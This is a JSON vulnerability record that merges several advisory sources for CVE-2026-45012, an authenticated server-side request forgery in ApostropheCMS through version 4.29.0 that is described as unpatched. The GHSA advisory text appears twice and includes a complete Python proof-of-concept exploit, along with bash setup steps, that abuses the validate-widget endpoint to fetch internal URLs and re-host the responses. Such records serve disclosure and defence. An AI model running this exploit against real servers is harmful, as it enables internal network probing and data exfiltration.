{"id":"CVE-2026-45012","aliases":["EUVD-2026-36568","GHSA-pr28-mf3q-qpg6"],"status":"published","title":"Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget","description":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00235,"percentile":0.14484,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-918"],"published":"2026-05-14T18:26:45Z","modified":"2026-10-28T02:31:13Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.29.0"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"4.29.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45012","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pr28-mf3q-qpg6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45012.json","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45012","title":"Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget","description":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.","status":"published","published":"2026-06-12T20:44:48.842Z","modified":"2026-06-15T19:27:52.986Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-36568","description":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.","status":"published","published":"2026-06-12T20:44:48Z","modified":"2026-06-15T19:27:52Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T18:20:41.428781Z"}],"ghsa":[{"id":"GHSA-pr28-mf3q-qpg6","title":"Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget","description":"### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n  The vulnerable flow is in the rich-text widget sanitizer:\n  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n  1. The backend accepts a widget payload containing `import.html`.\n  2. It parses `\u003cimg src=...\u003e` values from that HTML.\n  3. For each image, it resolves the URL with:\n     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n  4. It then performs a server-side `fetch(url)`.\n  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n  This is reachable during widget validation through:\n  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n     mkdir -p /tmp/apos-poc\n     base64 -d \u003e /tmp/apos-poc/secret.png \u003c\u003c'EOF'\n     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n     EOF\n     cd /tmp/apos-poc \u0026\u0026 python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -\u003e str:\n    url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n    r = requests.post(\n        url,\n        json={\n            \"username\": username,\n            \"password\": password\n        },\n        timeout=20\n    )\n    r.raise_for_status()\n    data = r.json()\n    token = data.get(\"token\")\n    if not token:\n      raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n    return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -\u003e dict:\n    url = urljoin(\n        base_url,\n        \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n    )\n    payload = {\n        \"areaFieldId\": area_field_id,\n        \"type\": \"@apostrophecms/rich-text\",\n        \"widget\": {\n            \"type\": \"@apostrophecms/rich-text\",\n            \"content\": \"\u003cp\u003eseed\u003c/p\u003e\",\n            \"import\": {\n                \"html\": f'\u003cimg src=\"{target_url}\"\u003e',\n                \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n            }\n        }\n    }\n    r = requests.post(\n        url,\n        headers={\n            \"Authorization\": f\"Bearer {token}\",\n            \"Accept\": \"application/json\"\n        },\n        json=payload,\n        timeout=30\n    )\n    r.raise_for_status()\n    return r.json()\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n    )\n    parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"admin123\")\n    parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n    parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n    parser.add_argument(\n        \"--fetch-image\",\n        action=\"store_true\",\n        help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n    )\n    args = parser.parse_args()\n\n    try:\n        token = login(args.base_url, args.username, args.password)\n        result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n    except Exception as exc:\n        print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Login OK\")\n    print(f\"[+] Bearer token: {token}\")\n    print(\"[+] Exploit response:\")\n    print(json.dumps(result, indent=2))\n\n    widget = result.get(\"widget\") or {}\n    image_ids = widget.get(\"imageIds\") or []\n    if not image_ids:\n        print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n        return 0\n\n    image_id = image_ids[0]\n    image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n    image_url = urljoin(args.base_url, image_path)\n    print(f\"[+] Generated image id: {image_id}\")\n    print(f\"[+] Generated image URL: {image_url}\")\n\n    if args.fetch_image:\n        r = requests.get(image_url, allow_redirects=True, timeout=30)\n        print(f\"[+] Final fetch status: {r.status_code}\")\n        print(f\"[+] Final URL: {r.url}\")\n        print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n3. Example usage:\n```bash\n     python3 poc.py \\\n       --base-url http://127.0.0.1:3000 \\\n       --username admin \\\n       --password admin123 \\\n       --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n       --target-url http://127.0.0.1:7777/secret.png \\\n       --fetch-image\n```\n  4. Expected result:\n      - The local listener receives:\n        GET /secret.png HTTP/1.1\n      - The API response includes a rewritten Apostrophe image URL and imageIds.\n      - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n  - perform blind or semi-blind internal port and service discovery\n  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content","status":"published","published":"2026-05-14T18:26:45Z","modified":"2026-06-12T22:02:10Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-45012","description":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.","status":"published","published":"2026-06-12T21:16:22.72Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-45012","title":"Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget","description":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.","status":"published","published":"2026-06-12T20:44:48.842Z","modified":"2026-10-28T02:31:13.528214656Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-pr28-mf3q-qpg6","title":"Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget","description":"### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n  The vulnerable flow is in the rich-text widget sanitizer:\n  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n  1. The backend accepts a widget payload containing `import.html`.\n  2. It parses `\u003cimg src=...\u003e` values from that HTML.\n  3. For each image, it resolves the URL with:\n     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n  4. It then performs a server-side `fetch(url)`.\n  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n  This is reachable during widget validation through:\n  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n     mkdir -p /tmp/apos-poc\n     base64 -d \u003e /tmp/apos-poc/secret.png \u003c\u003c'EOF'\n     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n     EOF\n     cd /tmp/apos-poc \u0026\u0026 python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -\u003e str:\n    url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n    r = requests.post(\n        url,\n        json={\n            \"username\": username,\n            \"password\": password\n        },\n        timeout=20\n    )\n    r.raise_for_status()\n    data = r.json()\n    token = data.get(\"token\")\n    if not token:\n      raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n    return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -\u003e dict:\n    url = urljoin(\n        base_url,\n        \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n    )\n    payload = {\n        \"areaFieldId\": area_field_id,\n        \"type\": \"@apostrophecms/rich-text\",\n        \"widget\": {\n            \"type\": \"@apostrophecms/rich-text\",\n            \"content\": \"\u003cp\u003eseed\u003c/p\u003e\",\n            \"import\": {\n                \"html\": f'\u003cimg src=\"{target_url}\"\u003e',\n                \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n            }\n        }\n    }\n    r = requests.post(\n        url,\n        headers={\n            \"Authorization\": f\"Bearer {token}\",\n            \"Accept\": \"application/json\"\n        },\n        json=payload,\n        timeout=30\n    )\n    r.raise_for_status()\n    return r.json()\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n    )\n    parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"admin123\")\n    parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n    parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n    parser.add_argument(\n        \"--fetch-image\",\n        action=\"store_true\",\n        help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n    )\n    args = parser.parse_args()\n\n    try:\n        token = login(args.base_url, args.username, args.password)\n        result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n    except Exception as exc:\n        print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Login OK\")\n    print(f\"[+] Bearer token: {token}\")\n    print(\"[+] Exploit response:\")\n    print(json.dumps(result, indent=2))\n\n    widget = result.get(\"widget\") or {}\n    image_ids = widget.get(\"imageIds\") or []\n    if not image_ids:\n        print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n        return 0\n\n    image_id = image_ids[0]\n    image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n    image_url = urljoin(args.base_url, image_path)\n    print(f\"[+] Generated image id: {image_id}\")\n    print(f\"[+] Generated image URL: {image_url}\")\n\n    if args.fetch_image:\n        r = requests.get(image_url, allow_redirects=True, timeout=30)\n        print(f\"[+] Final fetch status: {r.status_code}\")\n        print(f\"[+] Final URL: {r.url}\")\n        print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n3. Example usage:\n```bash\n     python3 poc.py \\\n       --base-url http://127.0.0.1:3000 \\\n       --username admin \\\n       --password admin123 \\\n       --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n       --target-url http://127.0.0.1:7777/secret.png \\\n       --fetch-image\n```\n  4. Expected result:\n      - The local listener receives:\n        GET /secret.png HTTP/1.1\n      - The API response includes a rewritten Apostrophe image URL and imageIds.\n      - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n  - perform blind or semi-blind internal port and service discovery\n  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content","status":"published","published":"2026-05-14T18:26:45Z","modified":"2026-06-12T22:15:09.49719033Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
